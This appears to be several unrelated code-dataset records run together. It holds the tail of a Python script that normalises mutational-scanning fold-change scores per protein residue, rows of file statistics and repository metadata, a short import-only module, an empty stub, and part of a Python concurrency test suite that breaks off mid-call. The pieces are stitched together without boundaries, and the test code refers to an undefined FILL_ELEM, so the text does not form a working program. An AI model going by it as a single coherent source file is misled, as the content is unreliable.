for item in sublist])
mean = flat_list[~np.isnan(flat_list)].mean() # mean of the set
var = flat_list[~np.isnan(flat_list)].var() # variance of the set
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
#set average wt to 0
cols = fchange.columns
wt_vals = []
for row, col in zip(wt_subseq, cols):
wt_vals.append(fchange.loc[row, col])
wt_mean = np.mean(wt_vals)
fchange = fchange - wt_mean
mean_stop[str(file)] = np.mean(fchange.loc['*'])
len_set[str(file)] = len(fchange.columns)
stop_mean = np.mean(fchange.loc['*'])
scale_factor = -1/stop_mean
fchange_norm = fchange*scale_factor
set_list.append(fchange_norm)
for file in set21:
fchange = pd.read_csv(list(samples[samples['Set']==\
str(file)][folder])[0]\
+ str(file) + suffix, index_col = [0])
start = list(samples[samples['Set'] == str(file)]['Start range'])[0]
end = list(samples[samples['Set'] == str(file)]['End range'])[0]
# name the columns
wt_subseq = wt_full[start:end] #find WT residues for the set
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
#set average wt to 0
cols = fchange.columns[:2]
wt_vals = []
for row, col in zip(wt_subseq, cols):
wt_vals.append(fchange.loc[row, col])
wt_mean = np.mean(wt_vals)
fchange = fchange - wt_mean
# add to dict for mean stop
mean_stop[str(file)] = np.mean(fchange.loc['*'][:2])
len_set[str(file)] = 2
stop_mean = np.mean(fchange.loc['*'][:2])
scale_factor = -1/stop_mean
fchange_norm = (fchange - wt_mean)*scale_factor
set_list.append(fchange_norm)
set_list_res = []
for file in res_redo:
set_ind = file.find('R') #identify the R notation for the repeated set
set_redo = file[:set_ind]
start = list(samples[samples['Set'] == str(file)]['Start range'])[0]
end = list(samples[samples['Set'] == str(file)]['End range'])[0]
sites_ = list(samples[samples['Set'] == str(file)]['Sites'])[0]
sites = ['Res '+ str(x) for x in sites_.split(',')]
fchange = pd.read_csv(list(samples[samples['Set']==\
str(file)][folder])[0]\
+ str(file) + suffix, index_col = [0])
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
fchange = fchange[sites]
wt_subseq = [wt_full[int(ind)] for ind in sites_.split(',')]
cols = fchange.columns
wt_vals = []
for row, col in zip(wt_subseq, cols):
wt_vals.append(fchange.loc[row, col])
# Calculate scaling values for slotting in individual residues
wt_mean = np.mean(wt_vals)
fchange = fchange-wt_mean
stop_mean = np.mean(fchange.loc['*'])
scale_factor = -1/stop_mean
fchange_norm = fchange *scale_factor
set_list_res.append(fchange_norm)
all_residues = pd.concat(set_list, axis = 1)
all_res_redo = pd.concat(set_list_res, axis = 1)
all_res_redo = all_res_redo.fillna('NaN')
all_residues.update(all_res_redo)
order = ['Res '+str(x) for x in range(1, 307)]
all_residues = all_residues[order]
all_residues = all_residues.applymap(lambda x: x if not \
isinstance(x, str) else np.nan)
return(all_residues)
def raw_dist(folder, samples, sets, res_redo, all_sets):
'''
Returns the mean and standard error of the raw data.
__________
Input:
folder--folder where the datasets are stored. points
to column in sample spreadsheet (string)
Output:
melted dataframe with residue and mutation along with raw
means and standard deviations
'''
fchange_list = []
redo_list = []
for x in sets + res_redo:
# old replicates
start = list(samples[samples['Set']==str(x)]['Start range'])[0]
end = list(samples[samples['Set']==str(x)]['End range'])[0]
sites = list(samples[samples['Set']==str(x)]['Sites'])[0]
directory = list(samples[samples['Set']==str(x)][folder])[0]
if x in sets:
for y in range(start, end):
fchange = pd.read_csv(directory + '/set' + str(x) + \
'_residue' + str(y) + '.csv')
fchange['residue'] = [y]*len(fchange)
fchange_list.append(fchange)
# new replicates single residues
elif x in res_redo:
sites = [str(x) for x in sites.split(',')]
for y in sites:
fchange = pd.read_csv(directory + '/set' + str(x) + \
'_residue' + y + '.csv')
fchange['residue'] = [y]*len(fchange)
fchange_list.append(fchange)
redo_list.append(fchange)
#list of residues and amino acids along with raw mean and standard error
error = pd.concat(fchange_list)
mid = [x[1] for x in error['Translation']]
error['middle'] = mid
return(error)
def transform_matrix_sigma(folder,
suffix, samples, sets, res_redo, all_sets):
'''
Transforms the data by set such that all the wildtypes are fixed at zero
and standard deviation of each set is set to 1.
__________
Input:
folder: column name in sample spreadsheet that points to folder
suffix: suffix of the file name
samples: sample spreadsheet
sets: all complete sets
res_redo: all invividually resequenced sets
all_sets: all sets
'''
mean_stop = {}
len_set = {}
set_list = []
for file in sets:
fchange = pd.read_csv(list(samples[samples['Set']
==str(file)][folder])[0]\
+str(file) + suffix, index_col = [0])
start = list(samples[samples['Set'] == str(file)]['Start range'])[0]
end = list(samples[samples['Set'] == str(file)]['End range'])[0]
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
wt_subseq = wt_full[start:end] #find WT residues for the set
flat_list = np.array([item for sublist in fchange.values \
for item in sublist])
mean = flat_list[~np.isnan(flat_list)].mean() # mean of the set
var = flat_list[~np.isnan(flat_list)].var() # variance of the set
# set the variance of all set to 1
# normalize the set to unit variance
fchange_norm = (fchange-mean)/np.sqrt(var)+mean
#new label for columns
fchange_norm.columns = ['Res '+str(x) for x in list(range(start, end))]
#figure out average wt values for set and linear transform
cols = fchange_norm.columns
wt_vals = []
for row, col in zip(wt_subseq, cols):
wt_vals.append(fchange_norm.loc[row, col])
fchange_norm = fchange_norm - np.mean(wt_vals)
# add to dict for mean stop
mean_stop[str(file)] = np.mean(fchange_norm.loc['*'])
len_set[str(file)] = len(fchange_norm.columns)
set_list.append(fchange_norm)
set_list_res = []
for file in res_redo:
set_ind = file.find('R') #identify the R notation for the repeated set
set_redo = file[:set_ind]
start = list(samples[samples['Set'] == str(file)]['Start range'])[0]
end = list(samples[samples['Set'] == str(file)]['End range'])[0]
sites_ = list(samples[samples['Set'] == str(file)]['Sites'])[0]
sites = ['Res '+ str(x) for x in sites_.split(',')]
fchange = pd.read_csv(list(samples[samples['Set']\
==str(file)][folder])[0]\
+ str(file) + suffix, index_col = [0])
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
fchange = fchange[sites]
#find WT residues for the set
wt_subseq = [wt_full[int(ind)] for ind in sites_.split(',')]
cols = fchange.columns
wt_vals = []
for row, col in zip(wt_subseq, cols):
wt_vals.append(fchange.loc[row, col])
# Calculate scaling values for slotting in individual residues
wt_mean = np.mean(wt_vals)
stop_mean = np.mean(fchange.loc['*'])
scale_factor = mean_stop[set_redo]/(stop_mean-wt_mean)
fchange_norm = (fchange - wt_mean)*scale_factor
set_list_res.append(fchange_norm)
all_residues = pd.concat(set_list, axis = 1)
all_res_redo = pd.concat(set_list_res, axis = 1)
all_res_redo = all_res_redo.fillna('NaN')
all_residues.update(all_res_redo)
order = ['Res '+str(x) for x in range(1, 307)]
all_residues = all_residues[order]
all_residues = all_residues.applymap(lambda x: x\
if not isinstance(x, str) else np.nan)
return(all_residues, mean_stop)
def replicate(rep, replicate_folder, cond_suffix, samples,
sets, res_redo, set21):
'''
Tranform the raw foldchanges fro single biological replicates.
__________
rep: int denoting replicate number
replicate folder: column in sample spreadsheet containing
replicate info
cond_suffix: file suffix for replicate files
samples: sample spreadsheet
sets: all complete sequencing sets
res_redo: all individually resequenced all_residues
set21: set 21 to be treated specially for the C terminal portion
Output: dataframe with score at each amino acid at each residue
'''
mean_stop = {}
len_set = {}
rep1_set = []
set_list_res = []
# replicate 1
for file in sets + res_redo + set21:
replicate_dir = list(samples[samples['Set'] == \
str(file)][replicate_folder])[0]
if file in sets:
fchange = pd.read_csv(replicate_dir + str(file)
+ '_replicate'+str(rep)+cond_suffix, index_col = [0])
start = list(samples[samples['Set'] == str(file)]['Start range'])[0]
end = list(samples[samples['Set'] == str(file)]['End range'])[0]
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
wt_subseq = wt_full[start:end]
cols = fchange.columns
wt_vals = []
for row, col in zip(wt_subseq, cols):
wt_vals.append(fchange.loc[row, col])
wt_mean = np.mean(wt_vals)
fchange = fchange - wt_mean
mean_stop[str(file)] = np.mean(fchange.loc['*'])
len_set[str(file)] = len(fchange.columns)
stop_mean = np.mean(fchange.loc['*'])
scale_factor = -1/stop_mean
fchange_norm = fchange*scale_factor
rep1_set.append(fchange_norm)
elif file in set21:
fchange = pd.read_csv(replicate_dir + str(file)
+ '_replicate'+str(rep)+cond_suffix, index_col = [0])
start = list(samples[samples['Set'] == str(file)]['Start range'])[0]
end = list(samples[samples['Set'] == str(file)]['End range'])[0]
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
# name the columns
wt_subseq = wt_full[start:end] #find WT residues for the set
#set average wt to 0
cols = fchange.columns[:2]
wt_vals = []
for row, col in zip(wt_subseq, cols):
wt_vals.append(fchange.loc[row, col])
wt_mean = np.mean(wt_vals)
fchange = fchange - wt_mean
# add to dict for mean stop
mean_stop[str(file)] = np.mean(fchange.loc['*'][:2])
len_set[str(file)] = 2
stop_mean = np.mean(fchange.loc['*'][:2])
scale_factor = -1/stop_mean
fchange_norm = (fchange - wt_mean)*scale_factor
rep1_set.append(fchange_norm)
elif file in res_redo:
set_ind = file.find('R') #identify the R notation for the repeated set
set_redo = file[:set_ind]
start = list(samples[samples['Set'] == str(file)]['Start range'])[0]
end = list(samples[samples['Set'] == str(file)]['End range'])[0]
sites_ = list(samples[samples['Set'] == str(file)]['Sites'])[0]
sites = ['Res '+ str(x) for x in sites_.split(',')]
fchange = pd.read_csv(replicate_dir + str(file) + '_replicate'\
+ str(rep) + cond_suffix, index_col = [0])
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
fchange = fchange[sites]
wt_subseq = [wt_full[int(ind)] for ind in sites_.split(',')]
cols = fchange.columns
wt_vals = []
for row, col in zip(wt_subseq, cols):
wt_vals.append(fchange.loc[row, col])
# Calculate scaling values for slotting in individual residues
wt_mean = np.mean(wt_vals)
stop_mean = np.mean(fchange.loc['*'])
scale_factor = -1/stop_mean
fchange_norm = fchange *scale_factor
set_list_res.append(fchange_norm)
all_residues = pd.concat(rep1_set, axis = 1)
all_res_redo = pd.concat(set_list_res, axis = 1)
all_res_redo = all_res_redo.fillna('NaN')
all_residues.update(all_res_redo)
order = ['Res '+ str(x) for x in range(1, 307)]
all_residues = all_residues[order]
all_residues = all_residues.applymap(lambda x: x if not \
isinstance(x, str) else np.nan)
return(all_residues)
def replicate_sigma(rep, replicate_folder, cond_suffix, samples,
sets, res_redo):
'''
Tranform the raw foldchanges fro single biological replicates.
__________
rep: int denoting replicate number
replicate folder: column in sample spreadsheet containing
replicate info
cond_suffix: file suffix for replicate files
samples: sample spreadsheet
sets: all complete sequencing sets
res_redo: all individually resequenced all_residues
set21: set 21 to be treated specially for the C terminal portion
Output: dataframe with score at each amino acid at each residue
'''
mean_stop = {}
len_set = {}
rep1_set = []
set_list_res = []
# replicate 1
for file in sets + res_redo:
replicate_dir = list(samples[samples['Set']
==str(file)][replicate_folder])[0]
if file in sets:
fchange = pd.read_csv(replicate_dir + str(file)\
+ '_replicate'+str(rep)+cond_suffix, index_col = [0])
start = list(samples[samples['Set'] == str(file)]['Start range'])[0]
end = list(samples[samples['Set'] == str(file)]['End range'])[0]
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
wt_subseq = wt_full[start:end] #find WT residues for the set
flat_list = np.array([item for sublist \
in fchange.values for item in sublist])
mean = flat_list[~np.isnan(flat_list)].mean()
var = flat_list[~np.isnan(flat_list)].var()
# set the variance of all set to 1
var_norm = (flat_list-mean)/np.sqrt(var)+mean
fchange_norm = (fchange-mean)/np.sqrt(var) + mean
# add to dict for mean stop
mean_stop[str(file)] = np.mean(fchange_norm.loc['*'])
len_set[str(file)] = len(fchange_norm.columns)
#new label for columns
fchange_norm.columns = ['Res '+str(x) for x in \
list(range(start, end))] # name the columns
#figure out average wt values for set and linear transform
cols = fchange_norm.columns
wt_vals = []
for row, col in zip(wt_subseq, cols):
wt_vals.append(fchange_norm.loc[row, col])
fchange_norm = fchange_norm - np.mean(wt_vals)
rep1_set.append(fchange_norm)
elif file in res_redo:
set_ind = file.find('R') #R denotes the repeated set
set_redo = file[:set_ind]
start = list(samples[samples['Set'] == str(file)]['Start range'])[0]
end = list(samples[samples['Set'] == str(file)]['End range'])[0]
sites_ = list(samples[samples['Set'] == str(file)]['Sites'])[0]
sites = ['Res '+ str(x) for x in sites_.split(',')]
fchange = pd.read_csv(replicate_dir + str(file) \
+ '_replicate'+str(rep)+cond_suffix, index_col = [0])
fchange.columns = ['Res '+str(x) for x in list(range(start, end))]
fchange = fchange[sites]
#find WT residues for the set
wt_subseq = [wt_full[int(ind)] for ind in sites_.split(',')]
flat_list = np.array([item for sublist in fchange.values\
for item in sublist])
cols = fchange.columns
wt_vals = []
for row, col in zip(wt_subseq, cols):
wt_vals.append(fchange.loc[row, col])
# Calculate scaling values for slotting in individual residues
wt_mean = np.mean(wt_vals)
stop_mean = np.mean(fchange.loc['*'])
scale_factor = mean_stop[set_redo]/(stop_mean-wt_mean)
fchange_norm = (fchange - wt_mean)*scale_factor
set_list_res.append(fchange_norm)
all_residues = pd.concat(rep1_set, axis = 1)
all_res_redo = pd.concat(set_list_res, axis = 1)
all_res_redo = all_res_redo.fillna('NaN')
all_residues.update(all_res_redo)
order = ['Res '+ str(x) for x in range(1, 307)]
all_residues = all_residues[order]
all_residues = all_residues.applymap(lambda x: x if not \
isinstance(x, str) else np.nan)
return(all_residues)
| 41.991031 | 82 | 0.574861 | 4,962 | 37,456 | 4.177348 | 0.057033 | 0.018333 | 0.058182 | 0.067879 | 0.902354 | 0.89946 | 0.893043 | 0.88957 | 0.877895 | 0.857005 | 0 | 0.009877 | 0.302648 | 37,456 | 891 | 83 | 42.038159 | 0.783691 | 0.172683 | 0 | 0.850891 | 0 | 0 | 0.042885 | 0.010096 | 0 | 0 | 0 | 0 | 0 | 1 | 0.016207 | false | 0 | 0.02269 | 0 | 0.040519 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
fb4c9cad4b626507dbbef81e6d792bf53ef84e30 | 183 | py | Python | SegmentEditorWatershed/SegmentEditorWatershedLib/__init__.py | RMR54/SlicerSegmentEditorExtraEffects | fa238555cc1d48078a85665d1fe757cfe80a56fa | [
"BSD-3-Clause"
] | null | null | null | SegmentEditorWatershed/SegmentEditorWatershedLib/__init__.py | RMR54/SlicerSegmentEditorExtraEffects | fa238555cc1d48078a85665d1fe757cfe80a56fa | [
"BSD-3-Clause"
] | null | null | null | SegmentEditorWatershed/SegmentEditorWatershedLib/__init__.py | RMR54/SlicerSegmentEditorExtraEffects | fa238555cc1d48078a85665d1fe757cfe80a56fa | [
"BSD-3-Clause"
] | null | null | null | from SegmentEditorEffects.AbstractScriptedSegmentEditorEffect import *
from SegmentEditorEffects.AbstractScriptedSegmentEditorLabelEffect import *
from SegmentEditorEffect import *
| 36.6 | 75 | 0.896175 | 11 | 183 | 14.909091 | 0.545455 | 0.292683 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.076503 | 183 | 4 | 76 | 45.75 | 0.970414 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 1 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 7 |
fb4cf69bea5ec3a6ba9d2182b1e4e893a1f3a02e | 12 | py | Python | _draft/answers/x_9_3.py | ofl/kuku2 | 7247fb1862d917d23258ebe7a93dca5939433225 | [
"MIT"
] | null | null | null | _draft/answers/x_9_3.py | ofl/kuku2 | 7247fb1862d917d23258ebe7a93dca5939433225 | [
"MIT"
] | 1 | 2021-11-13T08:03:04.000Z | 2021-11-13T08:03:04.000Z | _draft/answers/x_9_3.py | ofl/kuku2 | 7247fb1862d917d23258ebe7a93dca5939433225 | [
"MIT"
] | null | null | null | # x_9_3
#
#
| 3 | 7 | 0.416667 | 3 | 12 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.25 | 0.333333 | 12 | 3 | 8 | 4 | 0.125 | 0.416667 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 1 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 8 |
fb56336063a8a1523f6e8c353850fcd4ef128a0c | 179,364 | py | Python | src/concurrency/_csdata_test.py | GStepien/CSToolkit | 7a6872356f71843816a53c42b9abf5ae1ed97adf | [
"BSD-3-Clause"
] | null | null | null | src/concurrency/_csdata_test.py | GStepien/CSToolkit | 7a6872356f71843816a53c42b9abf5ae1ed97adf | [
"BSD-3-Clause"
] | null | null | null | src/concurrency/_csdata_test.py | GStepien/CSToolkit | 7a6872356f71843816a53c42b9abf5ae1ed97adf | [
"BSD-3-Clause"
] | null | null | null | import multiprocessing.managers as mp_mngr
import time
from queue import Full, Empty
from typing import Optional, Callable, Final, Any, Tuple, cast, Union, overload, List
import pytest
from concurrency._fixtures import fix_csl, fix_manager, fix_picklable_manager,\
fix_csdata_factory, fix_exec, fix_init_csdata, \
fix_cscapacityqueue_factory, fix_init_queue, fix_cschunkcapacityqueue_factory, fix_csmseq_factory, \
fix_csmlseq_factory, fix_init_csmseqdata
from concurrency import cs, csdata, execs
from utils.types.casts import c_assert_not_none
from utils.types.typevars import TYPE, TYPE2
from utils.functional import tools as ft
import utils.types.containers as con
INT_VAL: Final[int] = 333
ADD_X: Final[int] = 2
APPLY_TIMEOUT: Final[float] = 8.0
def __apply_add_x(num: int) -> Tuple[int, Tuple[str, int]]:
return num + ADD_X, (__apply_add_x.__name__, num)
def __apply_add_x_timeout(num: int) -> Tuple[int, Tuple[str, int]]:
time.sleep(APPLY_TIMEOUT)
return num + ADD_X, (__apply_add_x.__name__, num)
# noinspection PyArgumentList
def test_csdata(fix_csl: cs.En.CSL,
fix_init_csdata: Any,
fix_manager: Optional[mp_mngr.SyncManager],
fix_csdata_factory: Callable[[cs.En.CSL,
TYPE,
Optional[mp_mngr.SyncManager]],
csdata.Pr.CSData[TYPE]],
fix_exec: execs.Im.Exec) -> None:
cs_data: Final[csdata.Pr.CSData[Any]] = fix_csdata_factory(fix_csl,
fix_init_csdata,
fix_manager)
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {'condition_check': ft.c_eq,
'params': ((), {'el_1': (cs_data,
cs_data.c_get.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {'el': fix_init_csdata})}),
'max_check_count': 1}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=(cs_data,
cs_data.c_set.__name__),
params=((), {'new_val': INT_VAL}),
join=True),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {'condition_check': ft.c_eq,
'params': ((), {'el_1': (cs_data,
cs_data.c_get.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {'el': INT_VAL})}),
'max_check_count': 1}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {'condition_check': ft.c_eq,
'params': ((), {'el_1': (cs_data,
cs_data.c_apply.__name__),
'params_1': ((), {
'func': __apply_add_x
}),
'el_2': ft.c_identity,
'params_2': ((), {'el': (__apply_add_x.__name__,
INT_VAL)})}),
'max_check_count': 1}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {'condition_check': ft.c_eq,
'params': ((), {'el_1': (cs_data,
cs_data.c_get.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {'el': INT_VAL + ADD_X})}),
'max_check_count': 1}),
join=True
)
],
manager=fix_manager)
if fix_csl > cs.En.CSL.SINGLE_THREAD:
# noinspection PyArgumentList
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {'condition_check': ft.c_eq,
'params': ((), {'el_1': (cs_data,
cs_data.c_apply.__name__),
'params_1': ((), {
'func': __apply_add_x_timeout
}),
'el_2': ft.c_identity,
'params_2': ((), {'el': (__apply_add_x.__name__,
INT_VAL + ADD_X)})}),
'max_check_count': 1}),
join=False
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {'condition_check': (cs_data.c_get_csrwlock(),
cs_data.c_get_csrwlock().c_is_held.__name__),
'params': ((), {}),
'max_duration': 1.0}),
join=True),
execs.Im.ExecDelayedParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {'condition_check': ft.c_eq,
'params': ((), {'el_1': (cs_data,
cs_data.c_get.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {'el': INT_VAL + 2 * ADD_X})}),
'max_check_count': 1}),
join=True,
min_sec=APPLY_TIMEOUT - 2.0,
max_sec=APPLY_TIMEOUT + 1.0
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT,
_max_sec=APPLY_TIMEOUT + 1.0)
# noinspection PyArgumentList
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {'condition_check': ft.c_eq,
'params': ((), {'el_1': (cs_data,
cs_data.c_apply.__name__),
'params_1': ((), {
'func': __apply_add_x_timeout
}),
'el_2': ft.c_identity,
'params_2': ((), {'el': (__apply_add_x.__name__,
INT_VAL + 2 * ADD_X)})}),
'max_check_count': 1}),
join=False
),
execs.Im.ExecParams(func_or_obj_func=ft.c_poll_condition,
params=((), {'condition_check': (cs_data.c_get_csrwlock(),
cs_data.c_get_csrwlock().c_is_held.__name__),
'params': ((), {}),
'max_duration': 1.0}),
join=True),
execs.Im.ExecDelayedParams(
func_or_obj_func=(cs_data,
cs_data.c_set.__name__),
params=((), {'new_val': INT_VAL}),
join=True,
min_sec=APPLY_TIMEOUT - 2.0,
max_sec=APPLY_TIMEOUT + 1.0
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {'condition_check': ft.c_eq,
'params': ((), {'el_1': (cs_data,
cs_data.c_get.__name__),
'params_1': None,
'el_2': ft.c_identity,
'params_2': ((), {'el': INT_VAL})}),
'max_check_count': 1}),
join=True
)
],
manager=fix_manager,
_min_sec=APPLY_TIMEOUT,
_max_sec=APPLY_TIMEOUT + 1.0)
fix_exec.c_join()
# noinspection PyArgumentList
def test_csmseqdata_non_concurrent(
fix_csl: cs.En.CSL,
fix_init_csmseqdata: con.Pr.Iterable[Any],
fix_manager: Optional[mp_mngr.SyncManager],
fix_csmseq_factory: Callable[[cs.En.CSL,
con.Pr.Iterable[TYPE],
Optional[mp_mngr.SyncManager]],
csdata.Pr.CSMutableSequence[TYPE]],
fix_exec: execs.Im.Exec) -> None:
fix_init_csmseqdata = tuple(fix_init_csmseqdata)
init_len: Final[int] = len(fix_init_csmseqdata)
assert init_len > 2
csmseq: csdata.Pr.CSMutableSequence[Any] = cast(csdata.Pr.CSMutableSequence[Any],
fix_csmseq_factory(fix_csl,
fix_init_csmseqdata,
fix_manager))
# getitem int index
for getitem_name in (csmseq.__getitem__.__name__, csmseq.c_get.__name__):
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
getitem_name),
'params_1': ((init_len-1, ), None),
'el_2': ft.c_identity,
'params_2': ((), {
'el': fix_init_csmseqdata[init_len-1]
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
getitem_name),
'params_1': ((-init_len, ), None),
'el_2': ft.c_identity,
'params_2': ((), {
'el': fix_init_csmseqdata[-init_len]
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
getitem_name),
'params_1': ((0, ), None),
'el_2': ft.c_identity,
'params_2': ((), {
'el': fix_init_csmseqdata[0]
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
getitem_name),
'params': ((init_len, ), None),
'expected_exception': IndexError
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
getitem_name),
'params': ((-(init_len + 1), ), None),
'expected_exception': IndexError
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
getitem_name),
'params': ((-(init_len + 10), ), None),
'expected_exception': IndexError
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_raises,
'params': ((), {
'raiser': (csmseq,
getitem_name),
'params': ((init_len + 9, ), None),
'expected_exception': IndexError
}),
'max_check_count': 1
}),
join=True
)
],
manager=fix_manager)
# getitem slice index
for getitem_name in (csmseq.__getitem__.__name__, csmseq.c_get.__name__):
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': (csmseq,
getitem_name),
'params_1': ((slice(0, None), ), None),
'el_2': ft.c_identity,
'params_2': ((), {
'el': fix_init_csmseqdata
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': (csmseq,
getitem_name),
'params_1': ((slice(0, None), ), None),
'el_2': ft.c_identity,
'params_2': ((), {
'el': fix_init_csmseqdata[0:]
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': (csmseq,
getitem_name),
'params_1': ((slice(1, 23), ), None),
'el_2': ft.c_identity,
'params_2': ((), {
'el': fix_init_csmseqdata[1:23]
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': (csmseq,
getitem_name),
'params_1': ((slice(-100, 23), ), None),
'el_2': ft.c_identity,
'params_2': ((), {
'el': fix_init_csmseqdata[-100:23]
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': (csmseq,
getitem_name),
'params_1': ((slice(-3, -1), ), None),
'el_2': ft.c_identity,
'params_2': ((), {
'el': fix_init_csmseqdata[-3:-1]
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_elem_wise_eq,
'params': ((), {
'el_1': (csmseq,
getitem_name),
'params_1': ((slice(-1, -3), ), None),
'el_2': ft.c_identity,
'params_2': ((), {
'el': fix_init_csmseqdata[-1:-3]
})
}),
'max_check_count': 1
}),
join=True
)
],
manager=fix_manager)
# setitem int index
for setitem_name, offset in ((csmseq.__setitem__.__name__, 2), (csmseq.c_set.__name__, 1)):
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=(csmseq,
setitem_name),
params=((init_len - offset,
FILL_ELEM), {}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.__getitem__.__name__),
'params_1': ((init_len - offset, ), None),
'el_2': ft.c_identity,
'params_2': ((), {
'el': FILL_ELEM
})
}),
'max_check_count': 1
}),
join=True
)
],
manager=fix_manager)
# setitem int index
for setitem_name, offset in ((csmseq.__setitem__.__name__, 2), (csmseq.c_set.__name__, 1)):
execs.Ca.c_exec_multiple(
csl=fix_csl,
exec_=fix_exec,
join=False,
exec_params=[
execs.Im.ExecParams(
func_or_obj_func=(csmseq,
setitem_name),
params=((init_len - offset,
FILL_ELEM), {}),
join=True
),
execs.Im.ExecParams(
func_or_obj_func=ft.c_poll_condition,
params=((), {
'condition_check': ft.c_eq,
'params': ((), {
'el_1': (csmseq,
csmseq.__getitem__.__name__),
'params_1': ((init_len - offset, ), None),
'el_2': ft.c_identity,
'params_2': ((), {
'el': FILL_ELEM
})
}),
'max_check_count': 1
}),
join=True
),
execs.Im.ExecParams(
